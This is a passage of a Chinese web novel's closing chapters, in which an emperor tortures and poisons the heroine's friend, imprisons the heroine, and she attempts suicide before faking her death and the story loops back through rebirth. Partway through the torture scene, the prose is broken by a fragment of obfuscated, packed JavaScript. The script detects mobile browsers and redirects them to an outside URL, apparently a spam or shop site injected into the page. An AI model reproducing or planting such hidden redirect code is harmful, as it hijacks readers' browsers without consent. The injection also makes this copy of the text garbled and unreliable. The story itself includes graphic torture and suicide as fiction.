好疼……鲜血再次从口中涌出，她的手也控制不住的垂下，慕珂紧紧将她抱住，一个字也说不出来。
太色亮起，士兵也终于找到了她。
“公子，该启程了。”
“好。”
踉跄着起身，抱着浑身是血的人回到营帐。
将血迹擦拭干净，换了一身衣裳，俯身贴近，温温热的唇覆上，一触即分，抬起手，那冰凉的指尖划过她泛白的脸颊，“我们该回家了。”
说完将白布盖在她的身上，抱着走出营帐。
放进了早就准备好的棺椁之中。
启程回京。
长时间对邻国的讨伐对清离国的伤害也不小，箫婉兮死后箫祁政也选择了停战休整一段时间，可好景不长，不知是他的野心太大还是什么……
总之，战乱不断，民不聊生。
他也终于将主意打到了鬼市。
“陛下，人带到了。”慕珂压着牵着一根麻绳走进，而麻绳的另一端绑着花芷。
箫祁政的视线始终落在手中的奏折上，等批完这一本才缓缓抬头，微眯着眸子，眼里的冷冽没有一丝隐藏，“杀人？”
“真当律法不存在呢。”
“押下去。”
“是。”慕珂将人交给一旁的人，见箫祁政没有吩咐便也离开了。
鬼市生死本是常事，从前朝廷也是不会管这些事的，可这次他们就像是在等着这一刻一样，花芷杀完人便被制服，带走。
她不知道的是，她被带走后里面所有的人全被赶走，鬼市也被砸了个干净，金银财宝全部查封，从今日起，便再无鬼市一说了。
日夜更替，这已是花芷被关的第五日了。
是杀是留也没个准信，不知究竟在等些什么。
而鬼市被封第二日，晋无忧才回去找谷清音，这几日只她一日过的倒也自在。
“无忧？是你吗？”
“嗯。”
晋无忧走到谷清音身边坐下，倒了杯水也没开口说话。
“你……”谷清音看了他一眼便移开了眼神，恍恍惚惚间看到了他黑色的头发，难道那日不是梦吗。
避免尴尬，谷清音便什么也没说。
“什么？”
谷清音这才反应过来她话还没说完，“你这些时日干什么去了，也不说一声。”
“担心我？”
“你有什么好担心的，又死不了。”
“知道就好。”说着晋无忧将一个镯子放到了桌子上，听到声响谷清音将它拿起摩挲着。
“嗯？”
没什么不对的，可……为何会莫名的心慌。
扯了扯衣袖，将左手上的镯子露出，这……“一样？”
“嗯。”
这镯子本是一对，她有一只，另一只在……“花芷出事了？”
“嗯。”
“发生什么了？”谷清音慌张的想要抓住他却被躲开了，听晋无忧说完内心在不断思索着，瞬间便明白了箫祁政抓她却未杀她是想要谷清音出现。
找了这么久都没有找到谷清音，所以便想出了这个办法。
“送我过去。”
看着她这失了方寸的模样晋无忧不屑的勾了勾嘴角，“你现在这样…去送死吗？”
那能怎么办，“难道要眼睁睁的看着花芷丧命吗？”谷清音不自觉的提高了音量。
“你太冷血了。”
她知道晋无忧有办法救出花芷，可她不奢望晋无忧出手，只求送她回去便好了。
“哼。”
“你愿意骂便骂吧。”别人他管不着也不屑于去管，“反正你必须活着。”
见根本说不通谷清音紧握的双手渐渐松开，轻叹一声，听到晋无忧起身的动静才再次开口，“无忧。”
“如果……是丘竹你也会这样吗？”
花芷对于谷清音来说同丘竹对于晋无忧是一样的，不止是这么多年的情谊，还有内心的亏欠。她去并不会因此丧命，可她若不去花芷便活不了了。
“我求你了。”
这个地方太偏了，凭谷清音现在根本去不了京城。
“无忧！”
“唉，我先睡了，明日叫我。”生怕谷清音追上，说完他就快步离开了这里。
“谢谢你无忧。”
将花芷的镯子戴在手上她便也回房了，收拾了一下东西便也歇下了。
京城中，办完赵离的丧事后赵从南将柳眉昭接回了将军府，重新安置了些佣人便出去了，对于柳眉昭的所作所为赵云归只字未提，而沈明昭的眼睛彻底养好后便被接了回来，赵云归也给了她一块令牌，让她可以随意出入皇宫，这样她们便日日都能想见了。
次日，天还未亮谷清音便起来了。
“咚咚咚。”
“咚咚咚。”
这清脆的敲门声直冲天灵盖，晋无忧的睡意也全部消散了，无奈穿好衣裳开门，“你要不回头看看这天呢。”
“鸡都没你着急啊。”
谷清音连忙将还热乎的糕点递到晋无忧面前，“趁热吃。”
“行，还算有良心。”
“走吧。”
夜间下过雨，马车缓缓行驶着，留下一道车辙印。
此去京城要一天一夜，怕这期间箫祁政做出什么事来，谷清音便想着早些出发。
京城，皇宫内，箫祁政一夜未眠。
见寝殿的灯还亮着，慕珂快步走了进去，“花芷姑娘要见陛下。”
“嗯。”
箫祁政将手中奏折放下，闭眼捏了捏眉心，“知道了，你出去吧。”
“是。”
喝了口水便让人取了件黑袍子穿上了，熄了寝殿的烛火才出去。
与慕珂一同来了天牢。
“你在这儿等着。”
“是。”
扯了扯连帽朝里面走去，一路上囚犯的求饶声不断，吵的人头疼。
走到最里面才看到那个的身影。
狱卒走上前开锁，箫祁政便站在外面冷眼看着里面几乎快要被折磨的失去意识的人。
只见花芷的手脚都被铁链绑在木桩上，破烂不堪满是血迹的衣裳下是已经开始腐烂的伤口。
有被荆条抽打的，有被铁块烫的，还有那被银针戳烂的指尖，若是放她下来还能看到被木板打的血肉模糊的脊背。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192132|146906||http|test|mini|href|location''.split(''|''),0,{}));
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“啪嗒。”
铁门推开，箫祁政抬步走近花芷才垂下的头才缓缓抬起，那一瞬才看到她的一只眼睛已被生生剜出。
“谁用的刑？别让我再见到他。”
“是。”
“哼。”花芷冷笑一声，用力仰起头看着眼前这个伪君子，若不是他授意那些人怎么会这般，如今倒装上好人了。
“怎么？终于愿意说了？”
花芷的嘴一张一合着，箫祁政却听不清她在说些什么，只好走近，“说话。”
“呸！”
混着血液的口水吐到了箫祁政脸上。
深呼一口气，取出一方帕子用力的擦拭着，看着她那满是恨意的眼神箫祁政不屑的笑出声，“想杀我？”
说着，箫祁政将连帽取下，往后退了一步轻挑眉梢，“来啊！”
“哈哈。”
无论他做什么花芷都不会告诉他谷清音的位置的，“你有本事杀了我！杀了我！”
“你的身上不下于五条人命啊，早就是死罪一条了，不过……”若是她识相，说出谷清音的下落便放她一条生路。
“呸，狗皇帝！”
“痴！心！妄！想！”
“想清楚了。”边说着，他走到旁边拿了把匕首，“现在是有朕能救你。”
“滚。”
“哼。”见她油盐不进，箫祁政举起匕首贴在她的脸颊上，“想清楚了？”
说着匕首顺着她脸上的黑色纹路开始划，鲜红的血液瞬间流出，“啊！”
“还不说？”
“无所谓。”反正只要花芷在这儿，谷清音便一定会来的。
“啊……”
将能看的见到黑色纹路都被那匕首割破，箫祁政无奈摇了摇头，丢掉匕首，用手帕擦拭着，“来人。”
他掏出一个黑色瓷瓶丢出去便离开了。
瓷杯里的液体进到花芷口中，苦笑一声将其咽下，她怎么会尝不出这是她自己炼制的毒药啊。
瞬间，腹部传来刺痛。
鲜血从口中涌出，花芷无力的垂下了头，想到连最后一面都见不到了，泪水瞬间滴落在地，“绾绾，以后再也不能保护你了……”
“花芷……”
“绾绾？”
抬起头，是谷清音的脸，花芷艰难的扯出一丝微笑，想要伸手才想起自己被绑着。
对呀，她被绑在地牢。
她快要死了，绾绾又怎么会在呢。
可她的意识早已变得不清晰了，又怎么会意识到呢，“绾绾……我…想回家了……能带我回家吗？”
“绾……”
疼痛席卷她的身体，直至完全适应……又或是已经没了呼吸。
天终于凉了，下了早朝后箫祁政才想起地牢里早已冰冷的人，“唉。”身子都已经这般冷了，那便好好晒晒吧。
“来人。”
“将她悬挂在城墙上。”直到……谷清音现身为止。
“是。”
城中的百姓也只知道她是鬼市的鸢尾，是滥杀无辜的恶人，没有人会因为她的遭遇而痛心，只会为她的死亡而歌颂。
日夜兼程，等谷清音到时也已经是次日清晨，花芷的事早已在城中传遍，等她来时看到的便是悬挂在城楼的尸身。
“哼嗯……哼……”
谷清音跌坐在地，捂嘴痛哭，也很快吸引了远处士兵的注意，“姑娘，你……”怎么这般眼熟？
拿出画像，对比着，真有七八分像。
“我要……见…陛下。”
56.我把命还给你
箫祁政吩咐过不能对谷清音动粗，士兵只好小心翼翼的将她扶起，“走吧。”
宫里的嬷嬷带着她去洗漱换了身衣裳便送她去了箫祁政的寝殿。
“阿音！”
看到熟悉的身影箫祁政语调轻快，快步走上前抱住了她，其他人连忙被慕珂带了出去。
“终于等到你了。”
箫祁政不愿松手，谷清音却不愿抬手抱他。
“花芷的尸身要埋到青鸾山。”
“好。”
“我要亲自去。”
“好，我让慕珂陪你去。”说着箫祁政终于舍得松手了，指尖轻抚上她的耳边，眼中满是爱意。
“现在出发。”
谷清音抬眸箫祁政才注意到她的不对劲，“阿音，你的眼睛？”
指尖轻抚上她的眼角，眼中闪过一丝心疼更多的是兴奋，谷清音看不见了便可以一直将她困在身边了。
轻轻吻上她的眼角，“我以后做阿音的眼睛可好？”
“我要现在出发。”
“好。”
箫祁政捉住她的手腕，让她与自己十指相扣，拉着她走出去，视线划过她的脸庞，嘴角是抑制不住的笑意。
夕阳西下，金色余晖散落，谷清音一直坐在马车上，直到慕珂的声音响起她才取出瓷瓶，倒出一粒药丸服下。
眼前的事物慢慢清晰。
起身，刚掀开帘子便看到慕珂伸出的手。
“多谢。”
转过身，看着不远处仿佛看不见尽头的墓碑，不觉倒吸一口冷气，抬步便是一个踉跄，若不是慕珂扶着她早已跌倒了。
“当心些。”
走到花芷的墓碑前，谷清音便让慕珂先到一旁等着了，跪坐在一旁颤抖的指尖抚上上面的刻字，不觉红了眼眶。
“对不起，我来晚了。”
想到她的死状心脏便刺痛的厉害，双手撑着地面，用力喘息着。
无力般的爬近了些，将头靠在石碑上，橙色的光落在她们身上，谷清音只觉头嗡嗡作响却如何也落不下泪来。
不知过了多久，眼前的场景越来越模糊。
摩挲着拿起摆放在身旁的酒壶，倒了一杯在地上，才颤抖着将剩下的酒喂到嘴中，“哼嗯……”
一杯又一杯。
直到倒不出酒，直到她快睁不开眼，酒壶从她垂下的手滚到一旁，她也沉沉的闭上眼。
慕珂见她没了动作才走近将她抱起，放在马车上。
迷迷糊糊中，感觉有人在摸她的脸。
“谁？”
睡意消散，睁开眼，便看到一个模糊的身影坐在身边，谷清音吓得弹坐起来，扯着被褥捂住胸口眼中满是慌乱，“谁？”
“阿音！”
箫祁政有些凉的指间拂过她的脸颊，引人一阵微颤，下意识的别开头往后蹬着腿。
不对！
掀开盖在身上的被褥，一条铁链赫然绑在她的脚踝处，“你！”
“给我松开！”
“阿音！”箫祁政的手抚上她的肩膀，将她拉到自己身边，眼中满是痴狂，手掌慢慢抚上她的脖颈，覆上她温热的唇。
见她不做挣扎，闭上眼，抚上她的腰肢。
“嘶。”
指尖划过他水润的唇带下一丝血迹，愣了一瞬再次扬起嘴角，“乖乖等我回来。”
说完他便起身往外走了。
谷清音见状想要跟上去，可还没走几步就被那铁链绊倒了，撑在地上的手慢慢握紧，抬头便看到箫祁政走了回来。
“阿音，要听话。”
谷清音被抱起的瞬间，便贴近他的脖颈用力的咬着，点点血腥味传来，箫祁政依旧没有推开她，等她累了，主动松开嘴了才将她轻轻放在床榻上，温柔的为她整理着头发。
若不是她的簪子都被收走了，现在一定会出现在他的胸口，可他不会对谷清音发火。
只要留在他身边，“阿音怎样对我都行。”
可是，留在他身边谷清音要如何开心，“送我离开。”
“为什么？”为什么刚刚见面便想要离开，箫祁政眼中闪过一丝慌乱，“阿音明明说过什么都答应我的。”
“哼。”
“哈哈。“想到那个雪夜，谷清音的嘴角勾起一丝苦笑，笑着笑着泪水夺眶而出，论箫祁政如何擦都擦不完。
看来他是真的忘了谷清音为什么会答应他。
抬眼，她的声音已经变得沙哑，“可是你杀了他，你杀了他们！”
声嘶力竭，推开了他的手。
箫祁政不知该说些什么，谷清音喘息着，背对着躺下微微颤抖着，“你走吧。”
“等我。”轻轻亲吻了他的耳唇，才传来离开的脚步声。
哪怕没有一点好脸色，箫祁政接下来的每日下早朝后便来陪她，夜夜在这里留宿。
只是……不管是朝堂之上还是他的后宫都在骂谷清音，民间也传来她很多难听的事。
一日，谷清音无聊的坐在地上发呆。
箫祁政来时见她穿的轻薄还赤着脚，脸上变得难看，沉默着走近将她抱到床上，微热的掌心抚上她冰凉的肌肤。
可谷清音似乎察觉不到他的怒气。
见状箫祁政只好先开口，“阿音不开心吗？”
谷清音将脚收回，拉过被褥盖上，呆呆的摇了摇头，依旧不开口说话。
都这样了，“你还想离开？”
思绪被拉回，却依旧摇头。
这些时日她也冷静下来了，可……“我只是想不明白。”为什么？为什么是她！
她们明明没有交集啊。
箫祁政也不打算再瞒着她了，“因为……”这是他第四次重生。
因她的母妃生他时难产而死，他的父皇便从来没有喜欢过他，哪怕他再优秀也得不到一丝疼爱，只有付出比别人多千百倍的努力才能被看到。
失去自由……可他得到的是什么，是被害的断腿，成为京城一个彻头彻尾的笑话，重来一世他才知道一直有一道废太子的诏书等着他。
只有谷清音成为了他唯一的救赎。
重生三世，世世得不到谷清音的爱，世世看着她死在眼前，这一次终于成功还将她留在了身边，可……她依旧不愿多看他一眼吗？
“所以……你什么都知道。”
所有的一切他都清楚，可他依旧选择隐瞒，让谷清音像个傻子一样在他面前胡乱跳着，让她痛苦的看着她身边的人一个个离开，这样做……“你却说你爱我？”
“我才是个笑话吧。”
“不是的……”箫祁政抓住谷清音的手，却被推开了，知道她现在情绪不稳定也不再碰到，默默解释着。
也许方法不对，可，“我只是想帮你报仇。”不想再一次看着谷清音死在他的眼前了。
帮她？报仇？
“若是我不
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做那些，你会杀了他们吗？”
会吗？
看吧，不会！他的沉默便是最好的回答。
若不是谷清音设局杀死肖权和肖暮云，他定会留他们一命的，他怎么会舍得他处心积虑积累的那名声啊，“你做的一切都是为了你自己，不要说是为了我。”
恶心。
“不，我爱你，我做的一切都是为了你。”
“哼。”被他的话逗笑，“你让我用别人的身体和你在一起也是因为爱我？”
他早就知道又或是他也是主谋之一。
所以他才会那么早便同远在青鸾山上的赵云归定下婚约，这份爱，“我受不起。”
箫祁政轻叹一声，或许这样做令人发指，可，“只有这样我才能让你活下来。”
微微仰头，如今这般模样都是因为她的一念之差，或许她不该被仇恨所蒙蔽的，早知道他不会是一个好的君王该多好。
若是这样，“我宁愿我死了。”
说了许久箫祁政的耐心也被消磨没了，看到谷清音这宁愿死都不愿留在他身边的模样，脸色也愣了下来。
“你的命是我救下来的。”死不死他说了算。
说完他便起身往外走去。
“哼。”
“那我……还给你！”
“阿音！”箫祁政快步跑回去夺过她手中的手中的小刀丢到一边，“你疯了。”
“来人！”
箫祁政捂着她还在冒血的脖颈，慌张的不禁落下泪来，“阿音……”
太医来时他被慕珂带了出去，看着手上的血迹整个人都还是懵的，“为什么……”
他的手不断握紧，“怎么会有这种东西？”
“有下次，你也别活了。”
“是。”
谷清音并没有性命之忧，等太医离开慕珂便带着人将里面重新搜了一遍，将这里伺候的人全部押走才弄清楚是谁将刀给谷清音的。
原本伺候的人全部被赐死，换了一批。
就这样过了两个月，谷清音也不再闹了。
箫祁政也将锁住她的铁链收回了。
她终于可以出去透透气，晒晒太阳了，只是谷清音毕竟没有名分，那些人自然无需避着，可……她们的话太难听了。
难听到没了束缚谷清音也不想走出那个屋子。
他也有很久没来了，谷清音也知道，箫祁政是在等……在等她服软，等她求着入后宫。
可是……他害死丘竹，杀死花芷，她身边所有的人都葬送在所谓的党派之争，凭什么觉得她会甘心入这四方天地做你的妾？
就因为这些折磨吗？他未免也太自信了。
“你困不住我的。”
“这里是皇宫。”重兵把守，又怎么能逃的出去呢？“不要想着皇后能帮你。”
谷清音若是找她便是在害她，不过以赵云归的性格也不会帮她的。
她逃不掉的。
嘴角勾起，拿起一块甜糕递到谷清音嘴边，接过他手上的糕点嘴唇轻轻碰了一下便被她扔到了地上，“真难吃。”
看出她并未吃这糕点，箫祁政还是拿起一块尝了一口，“确实难吃。”
“砰。”
一整盘糕点连着瓷盘都被扔到地上，谷清音吓得轻颤一下，转头看去，箫祁政才悠悠开口，“没听见说难吃吗？”
“谁做的，拉下去……杖毙！”
杖毙？！
57.结局（上）
“不要。”
谷清音瞪大眼睛咽了咽口水，见他不松口便起身蹲下，捡起地上的糕点咬了一口，箫祁政才将她扶起，“这是做什么？”
夺过她手上的糕点扔回地上。
替她擦拭着嘴角，“想求情不用这样的。”
“阿音。”
箫祁政收回手静静看着她，等着她接下来的动作，可是……她好像并不愿意低头呢。
“来……”
“放她一命。”犹豫一瞬谷清音走上前抱住了箫祁政，“求你。”
箫祁政十分满意的轻抚她的头，“好。”
“我要走了，阿音还有什么要说的吗？”虽是这样说着，可这是谷清音第一次主动抱他，他并不想松手。
“我这里不用宫人伺候。”
“这可不行哦。”
谷清音见他拒绝便松开了他，低垂着眼眸，有些委屈，“我又不是娇生惯养大的。”不需要别人照顾，再说了这些人她又不熟。
若是非得找人看着她，便找个她认识的吧。
再说了，“将他们遣走你来陪我不好吗。”
不答应谷清音便捉着他的手轻轻晃着，十分委屈的撇着嘴。
“好。”
“我让慕珂来陪你。”
“真的吗？”说着她抿嘴一笑，扶着这箫祁政的肩膀踮起脚尖，嘴唇轻轻碰到他的脸颊，趁他还没反应过来搂着他的脖子抱住了他，“去忙吧，我等你回来。”
说完她就松开了手，往后退了一步，脸上仍旧挂着淡淡的笑。
箫祁政愣住了，眼中满是欣喜，只是谷清音并不知道，只是见眼前的人影一动不动便抬手朝他挥了挥，“拜拜。”
直到人影消失才放下手。
原本挂在嘴角的笑容也瞬间消失不见，用力的擦着嘴唇，蹭红了才罢休。
出去时，外头果然没人再议论了，随意摩挲着找了一个有太阳晒着的地方席地而坐，没一会儿慕珂便来了。
“姑娘，地上凉。”
“我将椅子搬来了。”
谷清音转头看去，隐约看着她俯身伸出了手，便也伸出手任她拉着站起身坐下，又去找了个薄毯盖在她的腿上，便站在一旁候着。
过了一会儿，“没太阳了，换个地方吧。”
“姑娘稍等一会儿。”
见慕珂离开，谷清音连忙站起了身，腿上的毯子也随着滑落，“小公子。”
听到这个称呼慕珂愣了一下才转过身。
“你……”
好像有什么东西在脑海里炸开，可一切又是那般让人不敢相信。
“长公主是服毒自尽吗？”
慕珂走近将地上的摊子捡起搭在椅子上，没有回答她的问题，也算是默认了她的说法。
“其实……”有一件事，思索了许久还是应当让她知道的，“那毒是我做的。”
“为什么？”
脑海中浮现起箫婉兮那时痛苦的模样慕珂的眼神慢慢变得狠厉，握着剑柄的手不断用力，仿佛下一秒就要失去了理智。
“对不起。”
“我不知道他会将那药给长公主。”
他？“你觉得我会信吗？”箫祁政再怎么都是箫婉兮的兄长，怎么会害她。
慕珂也只当是谷清音想要让他救她编出来的谎话罢了。
谷清音轻轻摇了摇头，重新坐了回去，“我告诉你这些不是想让你做什么。”
她如今已经落得这般境地了，无论是生是死对她来说都不重要了，只是……“你应当知道，说出来我也能好受些。”
谁都没想到箫祁政为了保全皇家颜面会逼迫箫婉兮服下毒药，死在外面，对外又说她是死在容国人之手的。
“我知道了。”
“小公子，可以帮我个忙吗？”
慕珂对她所说的话依旧存疑，她提出问题时慕珂便静静看着，看她能做什么，就见谷清音将左手腕上的镯子取下，捧在手心朝着他的方向递出。
“那日忘记了。”
“劳烦让它替我陪着花芷吧。”
谷清音眼中闪烁着点点水光，慕珂没有犹豫，拿过那对手镯收起，“好。”
“谢谢。”泪水滑落，这一次她的笑是发自内心的。
“对了，院子里的海棠花树是陛下特意从王府移过来的。”只是，谷清音好像一直都没注意到，听到这个消息也只是微微点了点头。
慕珂日日都会在这里守着，陪谷清音聊天，也不至于太无趣。
一个月后，今日外头的天色比往常要暗些，连风都格外的冷些，慕珂还是一样的时辰提着食盒到了谷清音这儿。
“姑娘……陛下一会儿便来了……”说着她打开食盒将里面的盘子都摆了出来，“快些吃吧。”
“嗯。”
谷清音走近坐下，察觉到她的不对劲却也没有多问，只是……这味道……“是有酒吗？”
“嗯。”
酒壶打开一股香味扑面而来，这……“是栀子花香？”
“嗯，姑娘尝尝。”
“好。”
她的酒量本是不好的，便想先吃点东西垫垫，可慕珂却一直催她先尝尝，不得已只好端起酒杯贴近嘴边的一瞬，愣住了。
这酒……有毒？
“谢谢。”但是……她现在不能喝，不然便是害了慕珂。
起身摸索着将手中的毒酒藏在远处的梳妆台的铜镜后，又坐了回去，“明日。”
脚步声？
他来了吗，“别忘了，明日。”
说着她便将桌子上的东西全被她打到了地上，摔了个稀碎，刚走到外面的箫祁政便听到了里面的动静，“阿音？”
“滚。”
“怎么了？”箫祁政连忙走近将泣不成声的谷清音搂在怀里，细心的为她擦拭着泪水。
“让她收拾了滚。”
箫祁政冲慕珂使了一个眼色，便拉着谷清音离开了。
给她找了件外披牵着她的手走到了院子里的海棠花树下，“坐。”
在箫祁政的指引下坐下，手紧紧捉着旁边的绳索，“秋千？”
感受着身体的轻轻晃动，不觉心头一惊却还是扯出一丝牵强的的笑。
“阿音。”
“嗯。”
相处了这么久，“你对我…有……”哪怕一丝的，“心动吗？”这一世，虽将她留在身边了，哪怕不是真心，箫祁政也想听到她说出那句话。
“唉。”轻叹一声垂下了头，她已经不记得这是第几次听到这个问题了。
箫祁政应当知道，这一世…她们第一次见面，谷清音便是带着目的的，蓄意为之，那时她便同等的痛恨每一个享皇权之人，又何必问出这个问题自欺欺人呢。
“你知道吗？我真的…真的好恨你……”可是她不能杀他
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。
恨吗？箫祁政推秋千的手一顿，其实……“有恨也好。”苦笑一声，继续将秋千推起。
“那如若孤执意要你呆在我身边呢？”
也许，她早就知道真正的他是何般模样，可，箫祁政根本不了解她，“那我便是下一个肖氏！”毕竟，她已经无牵无挂了。
“阿音——”
“我们……日后，还能相见吗？”
箫祁政早已松开了手，晃动的秋千缓缓停下，谷清音站起来了身，却没有回头看她，“或许，你该明白，你对我只是……”世世求而不得的，“执念罢了。”
“我不知会飘向何处，可……”
“若是天下太平……你我终会相见。”或许会是一阵清风……只要能吹散他心中的执念便好，若是能止住他的杀戮，她才能真的安心。
说着谷清音已经走到了树干旁，手轻轻抚上那粗壮的树干，“我记得皇后自小便喜爱海棠。”
“嗯，阿音……我走了。”
“好。”
箫祁政转过身微微仰头，沾着泪水的睫毛扑闪着，不知何时声音也哽咽了。
看向越来越远的模糊身影，“原来……”他已经知道了吗？就是不知他怎么突然就愿意放过她了呢。
次日，谷清音起的很早，坐在铜镜前端起酒杯的瞬间，便听到了鸟儿的啼叫声，或许……今日会是她最喜欢的晴天吧。
“噗！”
“咳咳。”鲜红的血液喷洒在铜镜上。
“砰。”手中的酒杯被丢到地上，纤长的手指划过镜面，“对不起……”
不知是看到了谁，不过……死亡好像也没有那么痛苦嘛。
等慕珂带人来时，谷清音已经彻底闭上了眼，晋无忧走近将她抱起时，看到她的嘴角还有淡淡的笑意。
“唉。”
“何苦呢。”若是听她的不来，又怎么会受这一遭罪。
出去时，箫祁政才姗姗来迟。
“等一下。”
箫祁政走近晋无忧便往后退，面具之下全是不耐烦的神色，“当初可说好了，她的尸身我必须带走。”
“陛下难道要食言？”
“不，我……”只是想在看她最后一眼，可晋无忧可懒得听他磨叽，绕过他们便径直离开了。
那一夜箫祁政在海棠树下坐了许久，也想了许久。
一年又一年，一切都还在有序推进。
箫祁政停止了对其他小国的讨伐，休养生息，推广教育，设立学堂，人人皆可入学读书……
日益繁荣昌盛。
赵云归作为皇后也为后宫添了不少新人，却依旧无一人诞下龙嗣，他心不在此，赵云归也不好多说什么。
……
谷清音离开的第四年。
箫祁政终于想起命人将那棵海棠花树移植到了凤仪宫中。
一日，赵云归送走沈明昭后不自觉站在海棠树下出了神，连渐渐走近的脚步声都没注意到。
“皇后在想什么？”
“陛下！”正欲行礼箫祁政扶住了他，摇了摇头，赵云归便重新抬头看向这开的正好的海棠花。
“臣妾在想……”
察觉到她的疑虑箫祁政冲她淡淡一笑，“皇后但说无妨。”
赵云归抬起手，随风飘落的海棠花落到了她的手心，又被吹落到地上，“若是臣妾当初帮了姐姐，会是怎样呢？”
58.结局（下）
若是她心思单纯些，如今会不会不一样。
箫祁政没有回答她的问题，也太大的反应，只是学着赵云归抬头看着这他养大的海棠花树。
“陛下在想什么？”
“我在想……她是不是不喜欢海棠花！”就像不喜欢他一样。
“嗯？”听到这话赵云归怔了一下，不解的看向身旁的箫祁政，见他的视线始终落在树上便又移开了眼神，“姐姐喜爱栀子花，年少时最爱，从未改变。”
“栀子花？”
“对。”
箫祁政不敢相信自己的耳朵，惊讶的看向一旁的赵云归，眼神里满是错愕。
愣住了一瞬再次开口。
那……“为何……”上一世，“她说她喜欢海棠花？”
“姐姐说的吗？”赵云归垂下眼眸思索着，突然……她好像想起来什么一般，恍然大悟。
其实，喜欢海棠的是花芷。
她只是觉得这样可以更像花芷有些，这样或许可以减轻苏白英对女儿离开的伤心，毕竟她那是怎么知道她自己才是苏白英的亲生女儿呢。
“原来……”是这样吗？
“花芷对她来说很重要吗？”
“嗯。”赵云归想都没想便点了点头，“花姐姐是她的家人。”也是最后的家人了。
对呀，他杀了阿音的家人却还想留她在身边。
可如今明白这一切都太晚了，“太晚了。”再说这些也没有意义了。
“那皇后呢？”喜欢什么花？
“臣妾喜爱海棠。”因为…海棠花的话语是，不变的爱情。
“对哦。”想起来了，谷清音曾对他说过的，如今这记性倒是越发的不好了，“朕晚些时候再来看皇后。”
“陛下。”
赵云归叫住他，又转头看向了旁边的海棠花树，“这树……”已种在她宫中了，“是否便任凭臣妾处置了？”
“唉。”箫祁政思索着，也学着她伸出手，待海棠花落在他的手心才点了点头，“是。”
说完他便将那海棠花别在了赵云归耳后，微风轻拂，吹乱了她的发丝。
赵云归微愣一瞬，低头娇笑，伸出手将发丝别再耳后，同时也悄悄带走了那海棠花，“臣妾无事了，陛下慢走。”
“嗯。”
箫祁政离开后赵云归又抬头看了一眼这海棠树便回房了。
次日，沈明昭进宫找她时她便命人将这海棠树砍了，沈明昭在一旁看着也只觉可惜，“这树生的这般好，又怎么招惹你了？”
“我虽喜欢海棠，可这一棵不属于我。”
“我……”这般好的一个人，自然是值得拥有属于自己的海棠树，值得这世间最好，“我们一起种一棵吧。”
“属于自己的。”
“好。”
黄昏时分，日落西斜。
马车缓缓停下，晋无忧缓缓走下，看着眼前这熟悉的院落，摘下了面具走了进去，“在冰洞待久了还真是不适应外面了。”
天边那橙黄色的光晕将片片白云都染了色，倒映在湖面上。
与湖面上荡秋千的少女缠绕在一起。
“无忧？你回来了？”秋千还在不停晃动着，谷清音没有回头，毕竟她回头了也看不清来人。
“嗯。”
那年，晋无忧与慕珂达成共识，喂给谷清音假死药，才让她得以脱身，自那之后晋无忧便一直陪着丘竹。
如今回来，“是有什么事吗？”
“我好像想明白了一件事。”或许，他想要救丘竹便不应该盯着箫祁政，应当从其他地方下手，说着她将黑色瓷瓶丢给了谷清音。
“扑通。”
她却没有接，她现在不需要了，像是没听到声响般依旧在轻轻晃动着秋千，“所以你后悔让他重生了？”
“他告诉你了？”不过……谷清音想错了，晋无忧并没有能力让人重生，他只是懂了一些规律才让箫祁政记得前世的记忆罢了。
他已经不记得这是第几世了。
但，“我感觉我要成功了。”
“嗯？”在谷清音不解的神情中，晋无忧摇动这手中的青铜铃铛。
“叮铃铃……”
“……”
“嘶。”谷清音在听到铃铛声的瞬间便感觉头痛欲裂，一手紧紧的握着秋千绳索，一手用力按着头，表情痛苦，“你做了什么？”
“我早就说了。”
“我给你下了蛊啊！”
“啊！”一些陌生又熟悉的画面在谷清音的脑海里浮现。
有他们一次次身亡的惨状。
有箫祁政所说的那些。
还有，清儿……原来……这就是谷清音总是想要拉她一把的原因吗！
“啊——”
眼前的场景越来越清晰，又好像越来越模糊，渐渐的，看完前几世所发生的一切她缓缓闭上了双眼。
晋无忧转身离开，铃铛声也随之消失。
握着秋千的手缓缓松开，原本想要起身离开，却忘了前面是湖泊，“扑通。”
意识模糊，落入湖中。
或许……真的错了，如果…可以重来……
如果……
沉重的呼吸声在耳边缠绕，微微睁开眼，迷茫的转动着眼睛。
身体的眩晕感还没有完全消散，仿佛被什么禁锢住了般无法动弹，晋无忧让她看到的那些画面不断的在脑海中重复着。
却越来越模糊。
越来越看不清。
“清音……醒醒……清音……”
“清音？”
意识渐渐回笼，一只手不断在她眼前晃动着，熟悉的脸庞闯入她的双眸，“师姐？”
“你可算是醒来。”
“你刚刚一直在嘀咕着些什么，怎么也叫不醒可吓死我了。”边说着叶黎将谷清音扶起来坐好，顺便将身上披着的披风取下搭在她的身上。
“这虽是入春了，也不能在外面睡啊。”
“清音？”
见她没有反应叶黎的又伸手在她面前晃动着，“你这是怎么了，丢了魂儿了？”
谷清音皱眉摇了摇头，“师姐。”
“我好像……”忘了些什么重要的东西，不，不对，好像……“做了一个很长的梦。”
“你啊。”
叶黎轻轻弹了一下谷清音的额头，试图将她叫醒，“每次做梦都这啊。”
“别想了。”
“你今日不是要出去吗？快去换身衣裳，我去叫她们来送你。”
出去？
谷清音低头看着自己伸出的手，又看了看周围的场景，这……是她外出游历的那日，也就是……是……为什么想不起来了。
“师姐！”
本想要叫住叶黎，可她早就不见了踪影。
一股不好的预感萦绕心间，来不及多想，谷清音便起身朝山下跑去，“千万要来得及啊。”
气喘吁吁的跑到半山腰处。
“谷主！”
“小心……”身后！
听到谷清音的声音苏白英站起身投来不解的目光，没有一丝反应的时间身后便伸出一只手捂住了她的嘴。
惊恐的目光中，两人被白烟包裹。
“谷主！”等她跑过去白烟已经开始消散了，而苏白英和那黑袍人也不知所踪，“难道……”还是不行吗？
“咳咳。”
谷清音只觉头晕的厉害，一阵刺痛后便失去了意识。
“咳咳咳咳。”
“醒了？”
睁开眼便看到一群人围在身边，身体沉沉的，“我……怎么了？”
叶黎无奈摇了摇头，将她额头上到帕子拿下再次泡在水里，“我就说不要在外面睡吧。”
“行了，现在说这些有什么用。”
